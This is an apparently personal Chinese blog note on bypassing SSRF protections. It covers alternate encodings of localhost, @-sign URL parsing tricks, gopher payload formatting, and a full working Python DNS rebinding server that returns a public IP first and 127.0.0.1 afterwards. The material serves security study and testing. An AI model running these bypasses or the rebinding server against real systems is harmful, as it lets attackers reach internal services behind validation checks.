SSRF中的Bypass

SSRF中的Bypass

主要记录一下SSRF漏洞利用过程中的绕过手段。

在ssrf链接提交的地方屏蔽了内网地址127.0.0.1可以使用其他的表达方式绕过,等价的绕过方法有

  • 127.0.0.1.xip.io

xip.io将类似site.10.0.0.1.xio.io这样的域名解析成10.0.0.1

  • [::]代替127.0.0.1

  • 十进制的ip地址,同理2进制16进制

  • 使用@符号

    如果服务器使用的是PHP或者go对URL进行解析,使用的函数应该是parse_url。这个函数对于host的解析是以@符号后面为基准的。

DNS Rebinding Attack

引用http://blog.leanote.com/post/snowming/e2c24cf057a4

  1. 获取到输入的URL,从该URL中提取host
  2. 对该host进行DNS解析,获取到解析的IP
  3. 检测该IP是否是合法的,比如是否是私有IP等
  4. 如果IP检测为合法的,则进入curl的阶段发包

观察到,在这个流程中,一共进行了两次DNS解析:第一次是对URL的host进行DNS解析,第二次是使用CURL发包的时候进行解析。这两次DNS解析是有时间差的,我们可以使用这个时间差进行绕过。

事件差对应的DNS中的机制是TTL。TTL表示DNS里面域名和IP绑定关系的Cache在DNS上存活的最长时间。即请求了域名与iP的关系后,请求方会缓存这个关系,缓存保持的时间就是TTL。而缓存失效后就会删除,这时候如果重新访问域名指定的IP的话会重新建立匹配关系及cache。

在上面的流程中,如果在DNS第二次解析的时候,我们能够更换URL对应的IP,那么在TTL之后、缓存失效之后,重新访问此URL的话,就能获取被更换后的IP。如果我们把第一次解析的IP设为合法IP,就能绕过host合法性检查了;把第二次解析的IP设为内网IP,就达到了SSRF访问内网的目的。

在这个过程中,对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就会导致绕过。

所以总结一下:

DNS 重绑定攻击的原理是:利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip达到突破同源策略或过waf进行ssrf的目的。

DNS服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name]<1:
# 随意一个 IP,绕过检查即可
ip="104.160.43.154"
else:
ip="127.0.0.1"
if name not in record:
record[name]=0
record[name]+=1
print name+" ===> "+ip
answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0,
payload=dns.Record_A(address=b'%s'%ip,ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())

在SSRF漏洞点输入此伪造DNS服务器的地址。第一次请求的时候伪造DNS服务器返回的是合法的IP地址,受害网站验证通过,开始进行curl请求。此时伪造DNS服务器返回的是内网地址,实现攻击。

gopher协议注意事项

更新一下写gopher的时候的注意事项

  • gopher协议的格式为gopher://IP:port/_{TCP/IP数据流},协议前面的_不要忘记。

  • URL编码后的%0A要替换为%0D%0A,表示换行

  • Content-Length长度一定要正确